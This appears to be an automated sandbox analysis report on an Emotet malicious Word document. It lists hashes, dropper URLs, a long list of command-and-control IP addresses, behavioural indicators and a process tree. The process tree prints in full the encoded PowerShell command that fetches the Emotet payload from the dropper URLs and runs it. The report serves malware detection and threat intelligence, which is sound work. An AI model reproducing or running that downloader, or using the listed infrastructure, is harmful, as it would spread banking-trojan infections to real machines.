emotet | a51cefe51ab64074caa6bc9eafe9cd5b906e3820e33ace5397b6bb0e43f55c1a

Analysis

max time kernel
149s
max time network
151s
platform
windows10_x64
resource
win10
submitted
23/09/2020, 15:34

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General

Target
emotet_e1_a51cefe51ab64074caa6bc9eafe9cd5b906e3820e33ace5397b6bb0e43f55c1a_2020-09-23__153158831223._doc.doc
Size 160KB
Sample200923-azfpyh56ls
SHA256 a51cefe51ab64074caa6bc9eafe9cd5b906e3820e33ace5397b6bb0e43f55c1a
MD5 60944e04ee7fc1f412530b9fa23a8f1f
SHA1 15eccf82b0adfe8ec3856084864ff963a4c33926
SHA512 f74892453bf46c9275c1b0213e08f35d4ed13de1c13351eb41f84aa4f61f7c55a92c7cc84a1844c49ba958c6fa447c08bde8a4f9e7b02beb9a52a10d0f9a6833
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://khobormalda.com/wp-content/82/
exe.dropper
http://blog.zunapro.com/wp-admin/LEE/
exe.dropper
http://megasolucoesti.com/R9KDq0O8w/Y/
exe.dropper
https://online24h.biz/wp-admin/K/
exe.dropper
https://fepami.com/wp-includes/eaI/
exe.dropper
http://ora-ks.com/system/cache/w/
exe.dropper
http://padamagro.com/wp-admin/Nc/

Extracted

Family

emotet

70.116.143.84:80
51.75.33.127:80
37.157.196.117:7080
116.202.23.3:8080
187.162.248.237:80
204.225.249.100:7080
67.247.242.247:80
192.241.146.84:8080
178.250.54.208:8080
188.135.15.49:80
77.238.212.227:80
152.169.22.67:80
186.103.141.250:443
82.76.111.249:443
213.197.182.158:8080
201.213.177.139:80
74.136.144.133:80
72.47.248.48:7080
51.38.124.206:80
190.24.243.186:80
174.113.69.136:80
192.81.38.31:80
68.69.155.181:80
45.16.226.117:443
111.67.12.221:8080
83.169.21.32:7080
82.230.1.24:80
51.255.165.160:8080
70.32.115.157:8080
61.92.159.208:8080
191.182.6.118:80
77.90.136.129:8080
181.129.96.162:8080
45.46.37.97:80
68.183.170.114:8080
190.117.79.209:80
192.241.143.52:8080
65.36.62.20:80
185.94.252.27:443
96.245.123.149:80
185.215.227.107:443
70.32.84.74:8080
190.2.31.172:80
104.131.41.185:8080
189.2.177.210:443
190.163.31.26:80
92.24.50.153:80
185.183.16.47:80
119.106.216.84:80
60.108.144.104:443
177.129.17.170:443
186.70.127.199:8090
104.131.103.37:8080
80.11.164.185:80
212.71.237.140:8080
185.94.252.12:80
1.226.84.243:8080
177.74.228.34:80
111.67.77.202:8080
199.203.62.165:80
5.196.35.138:7080
217.199.160.224:7080
91.105.94.200:80
190.115.18.139:8080
220.109.145.69:80
138.97.60.141:7080
60.93.23.51:80
74.58.215.226:80
78.249.119.122:80
5.189.178.202:8080
219.92.13.25:80
38.88.126.202:8080
96.227.52.8:443
64.201.88.132:80
181.30.61.163:443
95.9.180.128:80
177.73.0.98:443
202.4.58.197:80
209.236.123.42:8080
61.197.92.216:80
170.81.48.2:80
51.159.23.217:443
123.51.47.18:80
12.162.84.2:8080
54.37.42.48:8080
185.232.182.218:80
87.106.46.107:8080
217.13.106.14:8080
137.74.106.111:7080
68.183.190.199:8080
51.15.7.189:80
77.106.157.34:8080
172.104.169.32:8080
190.190.148.27:8080
76.168.54.203:80
2.36.95.106:80
185.178.10.77:80
50.28.51.143:8080
35.143.99.174:80
50.121.220.50:80
45.33.77.42:8080
98.13.75.196:80
94.176.234.118:443
155.186.0.121:80
216.47.196.104:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2708	1400	POWeRsHeLL.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1064-13-0x00000000006C0000-0x00000000006D2000-memory.dmp	emotet
behavioral2/memory/1064-13-0x00000000006C0000-0x00000000006D2000-memory.dmp	emotet
behavioral2/memory/1064-14-0x0000000002180000-0x0000000002190000-memory.dmp	emotet
behavioral2/memory/1064-14-0x0000000002180000-0x0000000002190000-memory.dmp	emotet
behavioral2/memory/3224-17-0x0000000000460000-0x0000000000472000-memory.dmp	emotet
behavioral2/memory/3224-17-0x0000000000460000-0x0000000000472000-memory.dmp	emotet
behavioral2/memory/3224-18-0x0000000000560000-0x0000000000570000-memory.dmp	emotet
behavioral2/memory/3224-18-0x0000000000560000-0x0000000000570000-memory.dmp	emotet

Blacklisted process makes network request 4 IoCs

flow	pid	Process
14	2708	POWeRsHeLL.exe
16	2708	POWeRsHeLL.exe
18	2708	POWeRsHeLL.exe
34	2708	POWeRsHeLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1064	X9ouqft.exe
3224	WsmWmiPl.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\iertutil\WsmWmiPl.exe	X9ouqft.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3892	WINWORD.EXE
3892	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2708	POWeRsHeLL.exe
2708	POWeRsHeLL.exe
2708	POWeRsHeLL.exe
3224	WsmWmiPl.exe
3224	WsmWmiPl.exe
3224	WsmWmiPl.exe
3224	WsmWmiPl.exe
3224	WsmWmiPl.exe
3224	WsmWmiPl.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2708	POWeRsHeLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2708 wrote to memory of 1064	2708	POWeRsHeLL.exe	82
PID 2708 wrote to memory of 1064	2708	POWeRsHeLL.exe	82
PID 2708 wrote to memory of 1064	2708	POWeRsHeLL.exe	82
PID 1064 wrote to memory of 3224	1064	X9ouqft.exe	83
PID 1064 wrote to memory of 3224	1064	X9ouqft.exe	83
PID 1064 wrote to memory of 3224	1064	X9ouqft.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_a51cefe51ab64074caa6bc9eafe9cd5b906e3820e33ace5397b6bb0e43f55c1a_2020-09-23__153158831223._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3892

C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
POWeRsHeLL -ENCOD JABCADQAegBtAGEAMQBiAD0AKAAoACcAVAAnACsAJwB5AHUAJwApACsAJwBhAHYAJwArACcAYwBoACcAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAEUAbgBWADoAdQBTAEUAcgBQAFIATwBGAEkAbABFAFwASAB5AHUAOQBoAFYAMwBcAE0AZgBOAFgATwAzAHcAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBDAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAGMAVQByAGkAdAB5AHAAYABSAG8AYABUAE8AQwBPAGwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAnACkAKwAoACcAMQAyACcAKwAnACwAIAB0ACcAKQArACcAbAAnACsAKAAnAHMAJwArACcAMQAxACwAIAAnACkAKwAoACcAdABsACcAKwAnAHMAJwApACkAOwAkAFIAYwBkAHgAaQBjADgAIAA9ACAAKAAnAFgAJwArACgAJwA5AG8AJwArACcAdQAnACsAJwBxAGYAdAAnACkAKQA7ACQAQwB5AG8AdQBjAHAAZgA9ACgAJwBMAGYAJwArACgAJwB2AHAAJwArACcAbgB1AHQAJwApACkAOwAkAEUANwAyADcAMQBxAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0ASAB5AHUAOQBoAHYAMwAnACsAJwB7ADAAfQBNAGYAJwArACcAbgAnACsAJwB4ACcAKwAnAG8AMwB3AHsAMAB9ACcAKQAgAC0AZgBbAGMASABhAFIAXQA5ADIAKQArACQAUgBjAGQAeABpAGMAOAArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAFEAZgBoAHQAYQAzAHQAPQAoACgAJwBaACcAKwAnADAAMgBxACcAKQArACcAbwBjACcAKwAnAHIAJwApADsAJABYAGcAdAA2AGkAMwB3AD0AJgAoACcAbgAnACsAJwBlAHcALQBvACcAKwAnAGIAagBlAGMAdAAnACkAIABuAGUAdAAuAHcAZQBCAEMAbABpAGUAbgB0ADsAJABWADUAaABqAGMAeQAxAD0AKAAnAGgAdAAnACsAJwB0ACcAKwAoACcAcAA6AC8AJwArACcALwAnACkAKwAnAGsAJwArACgAJwBoAG8AJwArACcAYgBvACcAKwAnAHIAbQAnACsAJwBhAGwAZABhACcAKQArACgAJwAuACcAKwAnAGMAbwAnACkAKwAnAG0AJwArACcALwAnACsAKAAnAHcAcAAnACsAJwAtAGMAbwBuAHQAZQAnACsAJwBuACcAKQArACcAdAAvACcAKwAnADgAJwArACcAMgAvACcAKwAnACoAaAAnACsAKAAnAHQAdABwACcAKwAnADoAJwArACcALwAvAGIAJwApACsAKAAnAGwAJwArACcAbwBnACcAKQArACcALgB6ACcAKwAoACcAdQBuAGEAcAAnACsAJwByACcAKQArACgAJwBvAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AdwBwAC0AJwApACsAKAAnAGEAJwArACcAZABtACcAKQArACcAaQAnACsAJwBuAC8AJwArACgAJwBMACcAKwAnAEUARQAvACcAKQArACgAJwAqAGgAdAB0ACcAKwAnAHAAOgAvAC8AJwArACcAbQAnACsAJwBlAGcAYQBzACcAKQArACgAJwBvAGwAdQAnACsAJwBjAG8AJwApACsAJwBlACcAKwAnAHMAJwArACgAJwB0AGkAJwArACcALgAnACsAJwBjAG8AbQAnACkAKwAnAC8AJwArACcAUgA5ACcAKwAoACcASwBEAHEAMABPACcAKwAnADgAJwApACsAJwB3ACcAKwAnAC8AJwArACgAJwBZAC8AJwArACcAKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcABzACcAKwAnADoALwAvAG8AJwApACsAJwBuACcAKwAoACcAbABpACcAKwAnAG4AZQAyADQAaAAuACcAKQArACcAYgBpACcAKwAoACcAegAnACsAJwAvAHcAJwArACcAcAAtAGEAZABtACcAKwAnAGkAbgAvACcAKQArACcASwAvACcAKwAoACcAKgBoAHQAdAAnACsAJwBwAHMAJwApACsAKAAnADoALwAnACsAJwAvACcAKQArACcAZgAnACsAJwBlAHAAJwArACgAJwBhAG0AJwArACcAaQAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvAHcAJwApACsAJwBwAC0AJwArACgAJwBpAG4AYwAnACsAJwBsAHUAZABlACcAKwAnAHMAJwApACsAKAAnAC8AZQBhACcAKwAnAEkALwAqACcAKQArACcAaAAnACsAJwB0ACcAKwAnAHQAJwArACgAJwBwADoALwAnACsAJwAvAG8AJwApACsAJwByACcAKwAnAGEAJwArACcALQAnACsAKAAnAGsAcwAnACsAJwAuAGMAJwApACsAJwBvACcAKwAoACcAbQAvACcAKwAnAHMAJwApACsAJwB5AHMAJwArACcAdABlACcAKwAoACcAbQAvACcAKwAnAGMAYQBjACcAKQArACgAJwBoACcAKwAnAGUALwAnACkAKwAoACcAdwAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAOgAvACcAKwAnAC8AcAAnACkAKwAnAGEAJwArACcAZABhACcAKwAoACcAbQAnACsAJwBhAGcAJwApACsAKAAnAHIAbwAuACcAKwAnAGMAJwArACcAbwBtAC8AdwAnACkAKwAoACcAcAAtACcAKwAnAGEAZAAnACkAKwAoACcAbQBpAG4AJwArACcALwAnACkAKwAnAE4AYwAnACsAJwAvACcAKQAuACIAcwBwAEwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAGQAagBuAGwAcgBsAD0AKAAoACcATgB5AHUAcABzACcAKwAnADMAJwApACsAJwBiACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE0ANABzAHkAaABfAGQAIABpAG4AIAAkAFYANQBoAGoAYwB5ADEAKQB7AHQAcgB5AHsAJABYAGcAdAA2AGkAMwB3AC4AIgBEAG8AdwBuAEwAYABvAEEAZABgAEYASQBgAGwARQAiACgAJABNADQAcwB5AGgAXwBkACwAIAAkAEUANwAyADcAMQBxAGMAKQA7ACQASwA1ADkAawAwAF8AdgA9ACgAKAAnAEQAXwB3ACcAKwAnAGUAeQAnACkAKwAnAHoAdAAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQARQA3ADIANwAxAHEAYwApAC4AIgBMAGAARQBuAEcAVABIACIAIAAtAGcAZQAgADIANwA3ADUANgApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACgAJABFADcAMgA3ADEAcQBjACkAOwAkAFEAZgBrAGsAZwBqAGcAPQAoACcAVwAnACsAKAAnAF8AbQAnACsAJwBpACcAKQArACgAJwBkACcAKwAnADgAaAAnACkAKQA7AGIAcgBlAGEAawA7ACQASwBiAHUAZgBoADAAawA9ACgAJwBYAGgAJwArACgAJwBtADYAJwArACcAZwB4ADYAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUAMgA2AHcAMwBiAGgAPQAoACgAJwBUACcAKwAnAHEAYwBfAGkAJwApACsAJwBlAGIAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2708
- C:\Users\Admin\Hyu9hv3\Mfnxo3w\X9ouqft.exe
  "C:\Users\Admin\Hyu9hv3\Mfnxo3w\X9ouqft.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:1064
- - C:\Windows\SysWOW64\iertutil\WsmWmiPl.exe
    "C:\Windows\SysWOW64\iertutil\WsmWmiPl.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3224

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1064-14-0x0000000002180000-0x0000000002190000-memory.dmp

Download

memory/1064-13-0x00000000006C0000-0x00000000006D2000-memory.dmp

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memory/2708-8-0x000001D876860000-0x000001D876861000-memory.dmp

Download

memory/2708-7-0x00007FFCB69C0000-0x00007FFCB73AC000-memory.dmp

Download

memory/2708-9-0x000001D876B30000-0x000001D876B31000-memory.dmp

Download

memory/3224-17-0x0000000000460000-0x0000000000472000-memory.dmp

Download

memory/3224-18-0x0000000000560000-0x0000000000570000-memory.dmp

Download

memory/3892-0-0x0000018614E60000-0x0000018615526000-memory.dmp

Download

memory/3892-6-0x000001861FB51000-0x000001861FB59000-memory.dmp

Download

memory/3892-5-0x000001861FB59000-0x000001861FB5E000-memory.dmp

Download

memory/3892-4-0x000001861FB51000-0x000001861FB59000-memory.dmp

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memory/3892-3-0x000001861FB59000-0x000001861FB5E000-memory.dmp

Download

memory/3892-2-0x000001861FB59000-0x000001861FB5E000-memory.dmp

Download

memory/3892-1-0x000001861FB0C000-0x000001861FB1D000-memory.dmp

Download